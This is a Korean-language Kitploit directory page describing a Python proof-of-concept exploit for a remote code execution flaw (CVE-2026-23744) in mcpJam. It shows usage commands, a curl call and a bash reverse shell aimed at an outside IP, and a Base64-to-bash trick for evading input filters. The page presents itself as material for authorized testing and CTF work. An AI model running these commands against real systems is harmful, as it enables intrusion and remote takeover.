Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-23744-poc — cve-2026-23744 python 익스플로잇 | Kitploit
도구/GitHubGitHub/keeieb79/cve-2026-23744-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubkeeieb79/cve-2026-23744-poc

CVE-2026-23744-poc

cve-2026-23744 python 익스플로잇

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-23744 — mcpJam 원격 코드 실행(RCE) 익스플로잇

CVE-2026-23744에 대한 Python 3 개념 증명(PoC) 익스플로잇으로, mcpJam v1.4.2에 영향을 주는 임의 명령 실행 취약점입니다.

이 유틸리티는 전송 전에 명령을 자동으로 Base64로 인코딩하여 페이로드 전달을 자동화하며, 제한적인 입력 검증 및 문자 필터링 메커니즘을 우회하는 데 도움을 줍니다. 페이로드는 대상 시스템에서 /bin/bash 래퍼를 통해 디코딩되어 실행됩니다.


기능

자동 Base64 페이로드 인코딩

명령이 전송 전에 자동으로 인코딩되어, 엄격한 입력 검증이나 문자 제한을 적용하는 애플리케이션을 대상으로 할 때 안정성을 향상시킵니다.

유연한 명령 실행

다음을 포함한 임의 명령 실행을 지원합니다:

  • 리버스 셸 (sh, bash, nc 등)
  • 시스템 정보 수집
  • 네트워크 연결 테스트
  • 맞춤형 페이로드 전달

상세 디버그 출력

다음을 표시합니다:

  • 생성된 JSON 요청 페이로드
  • 원시 서버 응답

이를 통해 문제 해결과 익스플로잇 검증이 간편해집니다.

SSL 확인 우회

인증서 확인 경고를 억제하여 자체 서명 또는 신뢰할 수 없는 SSL 인증서를 사용하는 대상과의 상호 작용을 허용합니다.


사용법

사전 요구 사항

필요한 종속성을 설치합니다:

root@kitploit:~
pip install requests

구문

root@kitploit:~
python3 exploit.py <target_url> "<command>"

예제

연결 테스트

root@kitploit:~
python3 exploit.py http://devhub.com:6274 "curl http://10.10.14.70:8888"

리버스 셸

root@kitploit:~
python3 exploit.py http://devhub.com:6274 "sh -i >& /dev/tcp/10.10.14.70/4444 0>&1"

기술적 세부 사항

이 익스플로잇은 악성 serverConfig 객체를 구성하여 /api/mcp/connect 엔드포인트를 대상으로 합니다.

명령을 직접 전송하는 대신, 페이로드는 Base64로 인코딩된 문자열로 변환되어 Bash를 통해 실행됩니다:

root@kitploit:~
"args": [
    "-c",
    f"echo {base64_payload} | base64 -d | bash"
]

이러한 접근 방식은 페이로드가 대상 호스트에서 완전히 디코딩되어 실행되도록 보장하면서 애플리케이션 수준 필터링을 우회하는 데 도움이 됩니다.

실행 흐름

  1. 사용자가 제공한 명령이 Base64로 인코딩됩니다.
  2. 인코딩된 페이로드가 serverConfig 요청에 포함됩니다.
  3. 대상 서버는 base64 -d를 사용하여 페이로드를 디코딩합니다.
  4. 디코딩된 명령이 /bin/bash로 직접 파이프됩니다.
  5. 명령은 취약한 mcpJam 프로세스의 권한으로 실행됩니다.

면책 조항

[!WARNING] 이 프로젝트는 교육 목적, 승인된 보안 평가, 그리고 Capture The Flag(CTF) 환경에서만 사용하도록 제공됩니다.

명시적 허가 없이 시스템을 대상으로 하는 무단 사용은 불법이자 비윤리적입니다. 저자는 본 소프트웨어 사용으로 인한 오용, 손해 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다.

도구 다운로드